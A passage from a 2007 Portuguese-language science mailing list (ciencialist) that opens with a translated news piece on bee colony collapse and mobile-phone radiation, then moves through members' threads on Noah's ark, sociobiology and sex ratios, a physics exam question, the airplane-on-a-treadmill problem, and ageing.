California State Beekeeprs Association, disse no Congresso, recentemente,
que aproximadamente 40% de duas mil colônias, atualmente, estão mortas, a
maior mortalidade de abelhas de todos os tempos".

As colônias de abelhas norte-americanas estão sofrendo esse impacto desde
1980 e os cientistas ainda não descobriram a razão do fenômeno. Alguns
apontam toxinas e produtos químicos usados na agricultura; outros, acham que
as plantas geneticamente modificadas afetaram o comportamento dos insetos.

Na Alemanha, o declínio das abelhas é de 25 até 80% em algumas áreas. A
situação se repete na Polônia, Suíça e Espanha. Estudos mostram que as
abelhas não estão morrendo nas colméias; o que ocorre é que elas não
conseguem retornar às colméias. Alguma coisa está fazendo com que as abelhas
percam o rumo de casa, o senso de orientação. Por outro lado, as colônias
não estão sendo atacadas por outros insetos, o que normalmente acontece
quando as abelhas, naturalmente, morrem no inverno, o que sugere um tipo de
envenenamento no ambiente.

Em muitos casos os cientistas encontraram evidência de viroses raras nas
poucas abelhas que sobrevivem em nas colméias. Algumas têm cinco ou seis
infecções ao mesmo tempo e/ou estão infestadas por fungos, sinal de que o
sistema imunológico dos insetos está seriamente abalado. Estudo da
Universidade de Jena, realizado entre 2001 e 2004 mostrou que toxinas
presentes em variantes de milho modificadas geneticamente para repelir
insetos, quando combinadas com outros parasitas, resultaram em evidente
declínio da população das abelhas. Esse milho pode "alterar o tecido dos
intestinos das abelhas de modo que o órgão se torna susceptível a
parasitoses" ? informou Hans-Hinrich Kaatz, professor da Universidade de
Halle, Alemanha.

Telefonia Celular
http://NEWS INDEPENDENT ? UK
por Geoffrey Lean e Harriet Shawcross
tradução: Ligia cabús
publicado em 15/04/2007

Enquanto isso, outros pesquisadores alertam para as radiações emitidas por
aparelhos de telefone celulares e outros dispositivos semelhantes. Estas
radiações podem ser a resposta ao fenômeno mundial do declínio da população
de abelhas. Os sinais das telecomunicações (sem fio) estariam, então,
interferindo no sistema de navegação (senso de orientação) dos insetos,
atrapalhando a localização das colméias e o processo de acasalamento.

A desordem-colapso das colméias (Colony Collapse Disorder) ocorre quando
os indivíduos subitamente desaparecem, ficando apenas as rainhas, ovos e
umas poucas operárias. As abelhas desaparecidas nunca são encontradas. Por
isso, acredita-se que estão morrendo longe de casa. Parasitas e outras
abelhas geralmente consomem o mel e o pólen que ficam no local quando morre
uma colméia. Isso não está acontecendo com as colméias estudadas.

Na primeira semana de abril (2007), um dos maiores apicultores do Reino
Unido, John Chapple, anunciou 23 de suas 40 colméias foram abandonadas.
Outros criadores reportam a mesma situação. As implicações de uma expansão
dessa desordem são alarmantes. Muitos dos campos agrícolas em todo o mundo
dependem da polinização feita pelas abelhas. As teorias são muitas mas
ninguém sabe, realmente, o quê está acontecendo. Um pesquisador alemão
ressalta que as abelhas estão sumindo em áreas próximas aos fios de alta
tensão. Na Landau University, dr. Jochen Kuhn afirma que as abelhas perdem a
orientação quando se aproximam de aparelhos de telefonia celular.

Os celulares já estão na mira dos acadêmicos há algum tempo e já existe um
certo "folclore" sobre o assunto. As evidências dos "males do celular"
parecem estar aumentando. Certos efeitos negativos, como incidência de
câncer levam muitos anos para aparecer mas um estudo não oficial mostrou que
que o uso dos aparelhos por mais de dez anos se relaciona com o surgimento
de tumores no cérebro em 40% do usuários, no hemisfério que as pessoas
costumam usar para falar ao telefone. As radiações seriam fatais para as
células cerebrais e os jovens de hoje estariam sujeitos à senilidade
precoce.



SUBJECT: Re: [ciencialist] Arca de Noé - era Re: Fw: Física
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/04/2007 19:22

"— Pode ser, meu colega; mas a esperança é própria das espécies fracas, como o homem e o gafanhoto; o burro distingue-se pela fortaleza sem par. A nossa raça é essencialmente filosófica. Ao homem que anda sobre dous pés, e provavelmente à águia, que voa alto, cabe a ciência da astronomia. Nós nunca seremos astrônomos. Mas a filosofia é nossa. Todas as tentativas humanas a este respeito são perfeitas quimeras. Cada século..."
(diálogo entre dois burros, em conto do Machado de Assis

José Carlos Antonio <profjc2003@yahoo.com.br> escreveu: Léo, grande insight você teve!

Se Noé levou os bichos em "casais", então:

- já havia união estável para bichos gays?
- como ele sabia que havia apenas um casal de bactérias (???) de cada
tipo?
- como se distingue o macho e a fêmea entre vírus?
- o que aconteceu com os casais de bichos cuja vida não dura nem uma
semana?

Nossa, a ciência é realmente burra, nunca vi resposta a nenhuma dessas
perguntas nos livros de ciência (nem em outros, he he).

Mas para que o Brudna não me coloque em moderação eu completo a
mensagem com uma pergunta para me salvar do mármore do inférno:
mudando o currículo da primeira séria para "Óptica" (e mais alguma
coisa, talvez) e deixando o início da mecânica para outra série, não
criaríamos problemas quando um aluno fosse transferido de uma escola
para outra onde o currículo não é o mesmo?

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá JC, no texto abaixo.
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br
> ===========================
>
>
> >Oi Léo,
> Puxei e puxo mesmo! Adoro puxar as orelhas alheias. :)<
>
> Não me incomodo. Os 'alertas' são sempre bem vindos! Se bem que
"errar é humano", bem longe de meu caso! :-)
>
> >Mas, falando sério, nada contra postar as dúvidas dos consulentes
> desde que se possa também postar as dúvidas do José Renato e do
> Ferrari. A diferença entre eles não é assim tão grande quando se trata
> de entender de "Física". :)<
>
> Vc já imaginou eu indicando o GREF, Telecurso2000, Westhpal etc.,
para ambos? Jamais faria isso! Eu indicaria as páginas da bíblia, do
Alcorão etc. para sanar quaisquer dúvidas científicas. Ainda bem que a
arca de noé não decolou! Pobre dilúvio que 'cobriu toda a terra', onde
estarão essas águas hoje? foram para o espaço? A terra subiu? Noé,
pobre pescador, não poude nem pescar durante os 40 dias e noites ---
pois só levou um casal de minhocas!
> Para encerrar esse parágrafo: Ambos não têm dúvidas, eles têm
certezas! O que dogmas não fazem com as pessoas!
>
> >Recomende ao Cristian que baixe livros online de boa qualidade. Eles
> podem baixar o livro do GREF e do Telecurso 2000 diretamente do meu
> site em http://www.profjc.net/ (é só entrar na "Biblioteca Online",
> menu da esquerda, e seguir o roteiro: biblioteca online -> alunos ->
> material didático para consulta -> "escolha qual quiser"). Está tudo e
> pdf.<
>
> Essa é a resposta que darei ao consulente. Agradeço.
>
> >Porém, sabemos que esses meninos não querem livros, querem respostas
> prontas para as perguntas do professor. :)<
>
> Não são só os alunos que não querem nada com nada! Já viu como os
'formandos' fazem seus TCCs atualmente? Tudo tercerizado ... os menos
ruins copy/past!
> Semana passada tive um professor de física perguntando o que vem a
ser 'garrafa de leidim'.
>
> >Além disso, Cinemática Escalar, ninguém merece mesmo! :))) Abraços, JC<
>
> Eu tiraria a Cinemática do 1º ano do ensino médio; deixaria a óptica
geométrica para iniciar o ano e complementaria o ano com estática e
hidrostática (noção íntuitiva' de velocidade, quando necessário). Ou
algo do gênero; cinemática é basicamente estudo das funções, coisa que
o aluno poderia aprender (funções, noções de limite, derivada) na
matemática do 1º ano.
>
> aquele abraço,
>
> Léo
>
> ===============
>






Bruna Carolina Ribas Silva
Rio Grande/RS

"A maior tradição do ser humano é evoluir"

__________________________________________________
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/04/2007 20:17

Olá, Takata.

> Ou não. Alta hierarquia envolve casamentos arranjados, partilhas de
> poder e outros elementos. Uma melhor posição social pode significar
em
> vez de uma prole maior, uma oportunidade de investir mais qualidade
> para uma prole menor.

Mesmo que a alta hierarquia apenas leve a produção de uma prole de
melhor qualidade, e não mais numerosa, ainda assim a seleção deveria
se sensibilizar com isso.

> A seleção natural só percebe se: houver diferença de oportunidades
- o q implica tb na existência de variabilidade.

No que diz respeito à hierarquia, existem diferenças de oportunidades
se você está no topo ou em baixo.

> Vejamos o caso de macacos. Machos de hierarquia menor forjam aliança
> para destituir o macho dominante. E com isso eles sobem no degrau
> social. Se a seleção houvesse os amarrados em uma estratégia
> reprodutiva, com a mudança no quadro a estratégia antiga tenderia a
> falhar.

A seleção não precisa amarrar o macaco a uma única estratégia.
Enquanto ele for um macaco de baixa hierarquia ele poderia produzir
mais fêmeas, e quando subir na hierarquia começará a produzir mais
machos. As estratégias evolutivas são plásticas, e se ajustam às
condições sociais e ambientais do momento.

> Gemido de dor é altamente brochante.

Também acho. Mas penso que em uma relação entre marido e esposa (nas
sociedades antigas, pois acredito que o que se tem hoje não é mais
casamento, e sim uma mistura de namoro com casamento, ou simplesmente
namoro) gemidos de dor da esposa possam ser interessantes. Mas é pura
especulação. É meu coração que diz isto, e não uma constatação
racional ou empírica.

Um abraço.
João de Carvalho.




SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/04/2007 20:19

Olá, JC.

> Porque você acha que o darwinismo vê, ou deveria ver, algum sentido
na relação entre sexo e heirarquia?

Sexo e política andam de mãos dadas. São como duas faces de uma mesma
moeda. Política são os acordos que os homens fazem para distribuir as
mulheres entre eles sem sair no tapa. O casamento é uma instituição
política, e não a celebração pública entre duas pessoas que se amam
(isto é o namoro). Quanto maior o poder político de um homem, mais
influência ele terá sobre o sistema reprodutivo da sociedade e
poderá, assim, conseguir mais e melhores mulheres.

Um abraço.
João de Carvalho.





SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/04/2007 20:22

Olá, Homero.

> João: "A seleção natural deveria ter percebido isso."

> Ela percebeu. Há uma interessante discussão sobre o motivo de
> existirem tantos homens quanto mulheres, quando a lógica evolutiva
(no
> sentido, incorreto, de ter como objetivo o maior número de
> descendentes), e não mais mulheres que homens, em um dos livros de
> Dawkins (vou procurar a fonte e posto na lista).
>
> Acontece que a seleção não tem objetivos de verdade, ela não pode
> "prever" o melhor comportamento ou forma, ela pode apenas
selecionar a
> partir do material existente e com os filtros existentes, de forma
cega.
>
> Se pudesse prever, escolher uma forma de agir direcionada,
existiriam
> sempre poucos machos, que podem fecundar muitas mulheres, e muitas
> fêmeas em todo grupo, em especial em mamíferos.

Eu não entendi muito bem este argumento, e este não era exatamente o
meu ponto (a diferença entre o número de homens e mulheres em uma
sociedade). Mas mesmo tomando esta questão que você levantou, me
parece que seria viável que um homem olhasse para a sociedade,
identificasse que existem mais mulheres que homens (por decorrência
de uma guerra, por exemplo), e desta forma, ao acasalar, procuraria
enviar apenas espermatozóides Y. É possível que, ao longo de algumas
gerações, o equilíbrio evolutivo voltasse a ser restabelecido, e
passasse a existir um número igual de homens e mulheres. Mas meu
ponto era outro. A sociedade poderia ter um número igual de homens e
mulheres, e ainda assim os homens de mais alta hierarquia produziriam
proles mais masculinas, e os de baixa, proles mais femininas.

> Outro ponto em relação a hierarquia grupal, é que sempre há a
> possibilidade de se passar os genes fora do topo da pirâmide, como
no
> caso dos elefantes marinhos. Todo harém de fêmeas "pertence" ao
macho
> dominante, que expulsa os invasores a tapa. Mas, enquanto ele luta
com
> um invasor, outros podem copular nas beiradas do harém..:-)

Sim. Existe a estratégia do "amante": o jovem sem posição hierárquica
que, escondido, faz sexo com as mulheres dos machos dominantes. Mas
se a estratégia do macho dominante que controla um harém existe, é
porque ela se valeu evolutivamente. Isto quer dizer que nem sempre os
amantes conseguiram inseminar as esposas dos dominantes.

Um abraço.
João de Carvalho.




SUBJECT: Re: [ciencialist] Re: Fw: Física
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/04/2007 20:29

LEO, meu defenestrador:

Minha família fugiu da Irlanda para Portugal fugindo da Inquisição: eram pescadores, e especialista em fabricar cordas ou cordoalha que é um pos principais instrumentos de navegação em barcos a vela (da época) e mesmo dentro dos navios, havia sempre um tripulante chamado cordeiro pois tinha por ofício cuidar do cordoalha, atividade vital para o êxito da empreitada, ficando logo abaixo do Imediato.
Daí, caro amigo, vem o apelido que se transformou em nome familiar.
Em Portugal alguns Cordeiro se entrelaçaram com a família do Cap. Inácio de Oliveira Campos, descendente do Cabral que se casou aqui, na terra brasilis, com D. Joaquina de Pompéu.
É uma descendência humilde mas limpinha.

seu amigo,

silvio.


----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, April 26, 2007 9:08 AM
Subject: Re: [ciencialist] Re: Fw: Física


Roberto,

'cordeiro' não é aquele que dá corda? :-)

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 26 de abril de 2007 03:15
Assunto: [ciencialist] Re: Fw: Física

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> Curioso: eu sou o primeiro de quem pedem a cabeça...nsilvio....

Claro, vc é um cordeiro... animal sacrificial por excelência.

[]s,

Roberto Takata






------------------------------------------------------------------------------


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Version: 7.5.463 / Virus Database: 269.6.1/776 - Release Date: 25/4/2007 12:19


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Caiu na prova
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/04/2007 21:28

Questãozinha que caiu na minha prova de Física para os aluninhos do
primeiro colegial:

Suponha que uma criança de oito anos lhe pergunte "quem cai mais
rápido: uma pedra pesada ou uma pedra mais leve?". O que você
responderia para ela e como a convenceria de sua reposta?

Abraços,
JC



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/04/2007 23:23

Legal, José Carlos! Fico satisfeito em saber que mais uma fator vem lhe
auxiliar no entendimento da questão: interesse. Gostar do probleminha é
muito mais de meio caminho andado para compreender a solução que encontrei.
Faço outros comentários no corpo do e-mail, logo após os seus, após JR1 -...
................................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, April 28, 2007 4:51 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Vamos lá José Renato... Estou começando a gostar desse probleminha...
JR1 - Ótima notícia!


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos! Vc já esboçou a solução, mas não a está
percebendo. Só falta cair a ficha! Veja a seguir:


Bom, de acordo com suas teorias as fichas podem cair ou não, só
depende da vontade e da disposição de querer que o outro aceite sua
opinião sobre o referencial de queda delas. :)
Deixemos as fichas na mesa e as piadinhas para depois e vamos logo
ao problema...
JR1 - Perde-se o problema mas não se perde a piada!


[JR] > Há cerca de dois anos esse problema foi discutido aqui na lista
> e a resposta que tentei explicar a vários listeiros, era apenas uma:
> atendendo as premissas do enunciado do problema, *o avião não
> levantava voo*, qualquer que fosse a velocidade da esteira, que é
> a mesma do avião em sentido contrário.
> Nessa nova discussão, aceitei a visão dada por Luiz, Homero, Victor,
> Hélio e vc, de que o avião voa quando se considera o ponto de ref
> no chão, mesmo sabendo que, neste caso, *o avião se desloca com
> o dobro da velocidade da esteira*, quando medida em relação a
> esteira. Aceitei, para tentar, a partir desse fato de que o avião se
> desloca com o dobro da vel da esteira e não com a mesma, obter
> melhor entendimento por parte dos que assim pensavam.
> Mas, ainda não foi dessa vez.[JR]


Caríssimo José Renato, folgo em sabê-lo que você "aceitou" os
argumentos acima, mas o fato é que argumentos como esses não
podem ser rejeitados, pois não são de "livre escolha" e sim imposição
das leis físicas que descrevem a natureza. Você pode ou não "aceitar"
que o avião voará, mas independentemente disso, ele voará (aviões
voam!). :)
JR1 - Voa sim, mas sua velocidade *em relação à esteira* conflita com o
enunciado do problema, isto é, nesse caso o avião se desloca com *o dobro da
velocidade* da esteira... Mas é preferível, por enquanto, nos concentrarmos
na solução pendente de consenço. OK?


> Colo abaixo a *minha interpretação* que parece que vc ainda não leu,
> visto que a continua cobrando em seu último e-mail. Nela está todo o
> "mecanismo" visualizado da questão, o qual pode ser exercitado
> materialmente com esquemas ou modelos...


Ok, vamos lá de novo...


> [ JC - Oras, se o enunciado é aquele, então a velocidade da esteira e do
> avião estão dadas em relação ao chão. Você tem alguma dúvida com
> relação a isso? Qual? Porque? Qual sua interpretação?
> JR1 - Isso está explicado nos esquemas que apresentei. O referencial
> principal é a intereção entre os movimentos da esteira e do avião. O chão
> é um referencial secundário, que só será utilizado para analizar o
> deslocamento do avião - que corre sobre a esteira na mesma velocidade em
> sentido contrário - em relação ao chão e ao ar, para concluir que não há
> condições de sustentação para alçar vôo.


Seus esquemas, infelizmente, estavam errados conforme já foi
demonstrado, e você não se opôs à demonstração, quando consideramos
desprezível o atrito dos rolamentos da roda do avião. Logo, sua
explicação baseada neles também estava errada. Lembra-se? Foi nessa
época que você me disse que não era bem assim que o enunciado do
problema original era outro, etc. e tal. Bom, estamos agora discutindo
o enunciado do problema original e como já ficou claro na mensagem
anterior, o referencial é mesmo na Terra e o avião voará. Mas vamos
adiante apreciar seus argumentos...
JR1 - Essas dúvidas e divergências serão esclarecidas depois, OK?

> Veja se agora vc consegue perceber melhor meu raciocínio.

Dessa vez vou me esforçar de verdade. Acho que estou começando a
entender seu raciocínio e vou me basear bastante na sua forma inédita
de pensar sobre os problemas. Você me ajuda se eu precisar, combinado?
JR1 - Vc logo vai concluir que a solução que apresentei não é uma forma
inédita de olhar o problema.

> Veja. Se o avião está sobre a esteira que se move para trás e o
> avião para frente *com a mesma velocidade*, há uma relação
> fundamental entre seus movimentos.


Epa, vamos com calma... A esteira se move para trás em relação ao que?
Ao avião? Ao chão? A Lua ou a própria esteira? Não vamos nos esquecer
de que você mesmo já defendeu aqui, veementemente, que não devemos dar
interpretações "simplistas" aos enunciados e que isso pode ser
intelectualmente pobre, certo? Eu não vou querer cometer essa
barbaridade e dessa vez quero saber exatamente sobre o que estamos
falando.
JR1 - Continuo calmo! A esteira se move para um lado e o avião para
o outro, tanto em relação ao chão quanto em relação a eles mesmos.

Da mesma forma, o avião se move para frente em relação ao que? Que
lado é a "frente"? Quem se move para trás se move para trás do que?
Vamos elevar o nível intelectual da nossa conversa e deixar esses
itens bem claros para não corrermos o risco de não percebermos as
coisas óbvias que ninguém percebeu ainda, concorda?
JR1 - Sem complicar, JC! Como dito acima, a esteira se desloca para
um lado e o avião para o outro. Vc terá uma melhor visualização disso,
fazendo um teste prático em uma esteira rolante de supermercado...
Pegue um carrinho-avião e se posicione sobre a esteira no sentido
inverso ao normal, isto é, "discostas". A esteira vai carregar o
avião-carrinho e seu propulsor-JC estacionados sobre ela...
Antes de chegar ao final, vc aciona o propulsor-turbinas-JC e
começa a deslocar o carrinho-avião sobre a esteira, em sentido
contrário ao deslocamento dela, acelerando até que o avião-carrinho
se desloque *na mesma velocidade da esteira*...

Então aguardo sua resposta antes de continuarmos, porque sem ela não
fará o menor sentido discutirmos um movimento sobre o qual nem sabemos
a que se refere, não é mesmo?
Assim que você elucidar esses pontos nebulosos nós continuaremos com
seu raciocínio.
Aguardo novamente suas explicações.
JR1 - Veja, agora, quais dúvidas permanecem. E quais são as novas...

Abraços,
JC

Abraços
José Renato
.............................................................

(apaguei o restante )



SUBJECT: Re: Questões sociobiológicas
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/04/2007 23:43

Olá João,

Concordo com tudo o que você disse, mas não foi sobre isso que eu
perguntei. Eu perguntei "Porque você acha que o darwinismo vê, ou
deveria ver, algum sentido na relação entre sexo e hierarquia?" e você
não me disse nada sobre isso. O que o darwinismo tem a ver com isso?
De que darwinismo você está falando? Da teoria de Darwin ou de outro?

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Olá, JC.
>
> > Porque você acha que o darwinismo vê, ou deveria ver, algum sentido
> na relação entre sexo e heirarquia?
>
> Sexo e política andam de mãos dadas. São como duas faces de uma mesma
> moeda. Política são os acordos que os homens fazem para distribuir as
> mulheres entre eles sem sair no tapa. O casamento é uma instituição
> política, e não a celebração pública entre duas pessoas que se amam
> (isto é o namoro). Quanto maior o poder político de um homem, mais
> influência ele terá sobre o sistema reprodutivo da sociedade e
> poderá, assim, conseguir mais e melhores mulheres.
>
> Um abraço.
> João de Carvalho.
>




SUBJECT: Re: [ciencialist] Re: ABSTINÊNCIA SEXUAL
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/04/2007 23:47

Vitor:

Sou aposentado.
O que vs. disse é peregrina verdade, mas no Brasil e em países subdesenvolvidos.

Trabalhei na Ferrovia do Aço (no começo) e recebemos 3 senhores canadenses, já velhos, aposentados. - lá quando o cara aposenta entra num cadastro e quando precisam de assessoria de um especialista, ele é chamado: os três que vieram tinham mais pique que nós, novos.... tinham um verdadeiro prazer em trabalhar até a noite.
Isso se traduz por disciplina, som status econômico, a honra de ser um especialista em alguma coisa e estar ajudando um país amigo. (já calculou a sobrecarga que os vagões abertos (de minérios) sofrem quando cai nevascas?
aqui, trombas d´água....

É isso aí aproveitar os cérebros muito mais ágeis que o corpo.

boa noite,

silvio.

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, April 26, 2007 6:40 AM
Subject: Re: [ciencialist] Re: ABSTINÊNCIA SEXUAL


A palavra idoso trás com ela a pecha de fim, do já era, está no começo do fim, "senhor de
respeito", incapaz, brocha. Por aí. Além de ficar, por assim dizer, transparente à maioria dos observadores e observadoras,
principalmente estes últimos referenciais...nem tão inerciais. Sobretudo em alguns aspectos que mexem com certos "brios".
Há exceções, mas tão poucas que um montão desse tamanho não enche sequer um xícara.
Encaixado na norma, imposta pela lei que define tal limite, o "idoso legal" está roubado e mal pago.
Não arranja mais emprego; concursos? Esqueça. Sente-se envergonhado de participar de algum curso, num meio adulto,
de não-idosos, não se sentindo à vontade para estar num meio, qualquer, que esteja fora de sua faixa
de "idoso". O próprio meio, na surdina, parece discriminá-lo. Brancamente. Empresas privadas, com raríssimas exceções,
sequer fazem entrevistas, pois costuma limitar a idade, num limite bem lá embaixo. Não querem nem saber.
Está certo que estes últimos óbices já valem para quem atingiu a marca dos 40rentinhas. Ou estaria enganado, também?
Assim caminha a humanidade, e é assim que ela vai vendo tais desatinos.
E o pior é que uma grande maioria de "idosos" assume isso, numa boa, quando se prevalce dessa condição "legal" para furar filas,
ou ir para as filas estabelecidas pela "lei", com os etcéteras permanentes. Bem, esses realmente são idosos! Deus que me livre disso!
Refiro-me aos que não o são, apesar do "concenso", e da malfadada lei. Parece até que o jeitinho brasileiro encontra sua maior
expressão aí, nesse contexto, de maneira legal. Muitos goistam!
Particularmente, acho tal coisa, à semelhança daquela ridícula "norma" de quotas para negros(que é um exacerbamento legal e descarado de discriminação racial, que muitos aceitam...) uma falta de respeito e uma violência ao ser humano. Uma redução à condiçõe de pobrezinhos, que merecem caridade, os coitadinhos...É uma condenação branca à condição que todos temem atingir, um dia: de incapacitado, fora do contexto. Há exceções, menos de uma xícara de chá, é verdade.
A maioria das pessoas que conheço, com mais de 60 anos, é capaz intelectual e físicamente, e não aceita tais disparates. Trabalha, produz, e se recusa ir para filas "especiais"(alguns, se não houver conhecidos por perto, se por aquí não tem ninguém, por alí também não vem, até arriscam...). É claro que muitas funções já não são mais como antigamente, digamos, de uns 10 ou 20 anos atrás. Mas somos uma máquina bem organizada, pode-se aceitar naturalmente isso, a ferrugem e os mecanismos e ferramentas de armar devendo-se ao desgaste natural. Para o sexo oposto, não haverá problemas com ao menos uma de suas ferramentas: a de abrir. Eis uma superioridade.

Então, é muito bom que alguém vá pensando num jeito de sermos reduzidos a dimensões atômicas, e nos danarmos espaço a dentro com velocidade de 0,99995c, para congelar o andar da carruagem nossa de cada dia, por exemplo. Quando voltarmos, quem por cá ficou já não terá dentes e cabelos; depois de "desreduzidos", ficaremos "jóia", pronto prá créu, em suas descendentes.
Sugestão: que a tampa voe, mas não ultrapasse os 60ssentinhas, estou avisando, senão...
Eu mesmo irei morrer com 105 anos, mas não passarei dos 60. Nem que a tampa voe. Se já não estiver querendo voar...

Isto é no que dá ter insônia.

Sds,
Victor.

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 25, 2007 6:23 PM
Subject: Re: [ciencialist] Re: ABSTINÊNCIA SEXUAL

Takata,

Grato pela aprimorada resposta.

Sds,
Victor.

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 25, 2007 2:49 PM
Subject: [ciencialist] Re: ABSTINÊNCIA SEXUAL

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> 1) quando se pode considerar alguém com uma tal SEGUNDA IDADE?
> 2) e com TERCEIRA IDADE? (Infelizmente parece que não exista uma
> QUARTA IDADE. Morre-se antes)
> Posso chamar alguém de IDOSO, a partir de de que idade?

Depende do contexto. Legalmente há definições de criança, adolescente,
maior de idade (criminal, civil) e idoso. Pelas leis brasileiras:

Criança: pessoa até doze anos de idade incompletos. (LEI 8.069/1990 -
art. 2o)
Idoso: pessoa com idade igual ou superior a 60 (sessenta) anos. (LEI
10.741/2003 - art. 1o)

A maioridade civil é atingida com 18 anos (salvo alguns casos
específicos), assim o adolescente é a pessoa entre 12 e 18 anos e o
adulto não-idoso a pessoa entre 18 e 60 anos. (A definição exata de
criança e idoso varia de acordo com a lei específica.)

Do ponto de vista biológico, existem o indivíduo imaturo (indivíduo q
ainda não é capaz de se reproduzir), o maduro (indivíduo capaz de se
reproduzir) e, eventualmente, o senil (indivíduo com sua capacidade
reprodutiva diminuída pela idade e em processo de degenerescência
biológica).

Entre o sistema legal e o biológico há a construção cultural (embora o
sistema legal tb seja uma construção cultural). Aí entram as tais
primeira, segunda e terceira idades.

Dentro da tradição médica há outras subdivisões q tb se relacionam com
as construções culturais:
- recém-nascido ou neonato: até um mês desde o nascimento;
- bebê: até ser capaz de caminhar ou até um ano;
- criança: até o início da puberdade;
- adolescente: fase de transição da infância à maturidade;
- adulto jovem:
- adulto idoso.

[]s,

Roberto Takata

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/04/2007 00:04

Olá José Renato,

Apaguei partes muito antigas ou que não precisam ser comentadas, ok?
Os comentários seguem logo abaixo dos seus.


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu

> Caríssimo José Renato, folgo em sabê-lo que você "aceitou" os
> argumentos acima, mas o fato é que argumentos como esses não
> podem ser rejeitados, pois não são de "livre escolha" e sim imposição
> das leis físicas que descrevem a natureza. Você pode ou não "aceitar"
> que o avião voará, mas independentemente disso, ele voará (aviões
> voam!). :)
> JR1 - Voa sim, mas sua velocidade *em relação à esteira* conflita com o
> enunciado do problema, isto é, nesse caso o avião se desloca com *o
dobro da
> velocidade* da esteira... Mas é preferível, por enquanto, nos
concentrarmos
> na solução pendente de consenço. OK?


Não há nenhum conflito, pois o que determina se o avião voará ou não é
sua velocidade em relação ao chão (e, portanto, em relação ao ar).
Pouco importa sua velocidade em relação a esteira, a Lua ou ao centro
da galáxia.



> Seus esquemas, infelizmente, estavam errados conforme já foi
> demonstrado, e você não se opôs à demonstração, quando consideramos
> desprezível o atrito dos rolamentos da roda do avião. Logo, sua
> explicação baseada neles também estava errada. Lembra-se? Foi nessa
> época que você me disse que não era bem assim que o enunciado do
> problema original era outro, etc. e tal. Bom, estamos agora discutindo
> o enunciado do problema original e como já ficou claro na mensagem
> anterior, o referencial é mesmo na Terra e o avião voará. Mas vamos
> adiante apreciar seus argumentos...
> JR1 - Essas dúvidas e divergências serão esclarecidas depois, OK?


OK. Não tenho pressa. Prefiro que tudo fique bem claro.


> JR1 - Vc logo vai concluir que a solução que apresentei não é uma forma
> inédita de olhar o problema.


Eu não acho que sua solução seja "inédita", José Renato, acho apenas
que ela está erada e que você se confundiu porque, na minha opinião,
sua formação em física básica não foi muito boa e certos conceitos
ainda não estão muito claros para você. Tenho dezenas de alunos que
concordariam com sua solução errada e é muito comum eu ter que
ajudá-los com esses conceitos. Você só é mais "teimoso" que a média
porque prefere não assumir seu engano do que "percebê-lo". :)


> > Veja. Se o avião está sobre a esteira que se move para trás e o
> > avião para frente *com a mesma velocidade*, há uma relação
> > fundamental entre seus movimentos.
>
>
> Epa, vamos com calma... A esteira se move para trás em relação ao que?
> Ao avião? Ao chão? A Lua ou a própria esteira? Não vamos nos esquecer
> de que você mesmo já defendeu aqui, veementemente, que não devemos dar
> interpretações "simplistas" aos enunciados e que isso pode ser
> intelectualmente pobre, certo? Eu não vou querer cometer essa
> barbaridade e dessa vez quero saber exatamente sobre o que estamos
> falando.
> JR1 - Continuo calmo! A esteira se move para um lado e o avião para
> o outro, tanto em relação ao chão quanto em relação a eles mesmos.


Isso é impossível José Renato. Se o referencial for a esteira então
ela nem se move! Se o referencial for o avião então ele também não se
move! A única possibilidade dessa frase estar certa é se o referencial
for o chão. Nesse caso, adotando-se o sentido desse referencial como
sendo o do movimento do avião, teremos enfim um "para frente" (que
significa mover-se no sentido do avião), um "para trás" (que significa
